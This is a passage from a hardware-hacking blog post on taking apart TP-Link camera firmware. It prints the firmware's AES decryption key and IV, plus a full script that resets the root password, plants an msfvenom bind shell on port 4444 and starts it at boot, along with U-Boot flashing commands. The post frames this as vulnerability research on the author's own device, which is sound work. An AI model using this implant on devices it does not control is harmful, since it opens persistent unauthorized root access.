&lt;p&gt;We got the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hsqs&lt;/code&gt; magic from a squashfs filesytem, looks good ! So if you only want to extract the filesystem you can do the conversion in place like so:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dd if=out/rootfs.bin bs=512 count=1 | openssl enc -aes-128-cfb1 -d -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 | dd of=out/rootfs.bin bs=512 count=1 conv=notrunc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’ll be left with a valid SquashFS filesystem you can extract with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sasquatch&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsquashfs&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;firmware-modding&quot;&gt;Firmware Modding&lt;/h3&gt;

&lt;p&gt;What I want is the ability to have a remote root shell on the device so that I can perform dynamic analysis and dig deeper into the device internals. To do that I need to:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;change the root password&lt;/li&gt;
  &lt;li&gt;launch a bind shell or reverse shell somehow&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The thingino &lt;a href=&quot;https://github.com/themactep/thingino-firmware/blob/master/scripts/hijacker.sh&quot;&gt;hijackers
script&lt;/a&gt;
did that by emptying the root password and launching a telnet server during
init. However, the system has been stripped down to the bare minimum. Telnet,
dropbear, ssh, openssl, curl, wget, all the usual suspects are gone. So I
simply reverted to good old &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom&lt;/code&gt; to build a bind shell and put it on the
filesystem.&lt;/p&gt;

&lt;p&gt;So in the middle of the night I created this monstrosity of a bash script that
creates a modded version of the flash. It sets the root password to one of your
choosing, place the bindshell in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/sbin&lt;/code&gt; and modify an init file to launch
it on boot:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;512
&lt;span class=&quot;nv&quot;&gt;ROOTFS_START_OFFSET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0x0000001b0000
&lt;span class=&quot;nv&quot;&gt;ROOTFS_END_OFFSET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0x0000003d0000
&lt;span class=&quot;nv&quot;&gt;ROOTFS_SIZE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt; ROOTFS_END_OFFSET &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; ROOTFS_START_OFFSET &lt;span class=&quot;k&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;TMP_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mktemp&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none| openssl enc &lt;span class=&quot;nt&quot;&gt;-aes-128-cfb1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nosalt&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nopad&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-K&lt;/span&gt; 54505f4c494e4b383869363637676e74 &lt;span class=&quot;nt&quot;&gt;-iv&lt;/span&gt; 55aadeadc0de4c494e5558457854aa55 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.rootfs.head&quot;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.repacked&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.root.squashfs&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.root.squashfs.mod&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.rootfs.head&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;notrunc &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_SIZE &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none

&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; squashfs-root
unsquashfs  &lt;span class=&quot;nt&quot;&gt;-quiet&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;NEW_PASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;openssl passwd &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;usermod &lt;span class=&quot;nt&quot;&gt;--root&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PWD&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/squashfs-root&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--password&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NEW_PASSWORD&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; root

./msfvenom &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; linux/mipsle/shell_bind_tcp &lt;span class=&quot;nv&quot;&gt;LHOST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0.0.0.0 &lt;span class=&quot;nv&quot;&gt;LPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4444 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; elf &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; squashfs-root/usr/sbin/bindshell
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/usr/sbin/bindshell&amp;amp;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; squashfs-root/etc/init.d/rcS

&lt;span class=&quot;nb&quot;&gt;sudo rm &lt;/span&gt;squashfs-root/etc/.pwd.lock
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
mksquashfs squashfs-root &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-quiet&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-comp&lt;/span&gt; xz


&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[+] zeroing out the rootfs section&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/zero &lt;span class=&quot;nv&quot;&gt;obs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_SIZE &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;notrunc &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[+] writing modified squashfs&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none| openssl enc &lt;span class=&quot;nt&quot;&gt;-aes-128-cfb1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nosalt&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nopad&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-K&lt;/span&gt; 54505f4c494e4b383869363637676e74 &lt;span class=&quot;nt&quot;&gt;-iv&lt;/span&gt; 55aadeadc0de4c494e5558457854aa55 | &lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;notrunc &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;obs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ROOTFS_START_OFFSET &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; BLOCK_SIZE&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;REPACKED_IMG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;notrunc &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none 

&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_PLAIN_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOD_SQUASHFS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.rootfs.head&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then I can dump the repacked image to my SD-Card:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dd if=dump.bin.repacked of=/dev/mmcblk0 status=progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Put the SD-Card on the camera, jump to the bootloader console and write the SD-Card content onto the flash:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mmc read 0x80600000 0 4000
sf update 0x80600000 0 800000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Seriously the differences in numbers representation between the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sf&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmc&lt;/code&gt;
is what confused me the most. Both interpret input as hexadecimal integers, but
the first counts in blocks while the other counts in bytes. Everytime I do that
I need to learn U-Boot again…&lt;/p&gt;

&lt;p&gt;Then we can boot (using U-Boot like below), or reset the device by unplugging the power cord:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sf probe; sf read 0x80600000 0x70200 0x200000
bootm 0x80600000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once the device has done booting, you can login with the password that you entered when running
the modding script. You’ll be greeted with this wonderful motd:&lt;/p&gt;

&lt;p&gt;But now the good thing is that there is a listener on port TCP/4444 waiting for you to get your bindshell. We can put the PCB back in its plastic shell, put the screws back and hack away from the comfort of our desk.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Gaining that kind of access is always a good step forward when doing
vulnerability research on embedded devices. Now that we have remote root access
we can install our debug tools (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdbserver&lt;/code&gt;), network listeners (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpdump&lt;/code&gt;) and
others (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt;) to understand what makes the device tick.&lt;/p&gt;

&lt;p&gt;Hopefully I’ll find something exploitable by the time my course starts again in
Autumn 🤞&lt;/p&gt;

&lt;p&gt;I mentioned TP-Link product management in the beginning and I think there’s a few interesting things to note:&lt;/p&gt;
&lt;ol&gt;
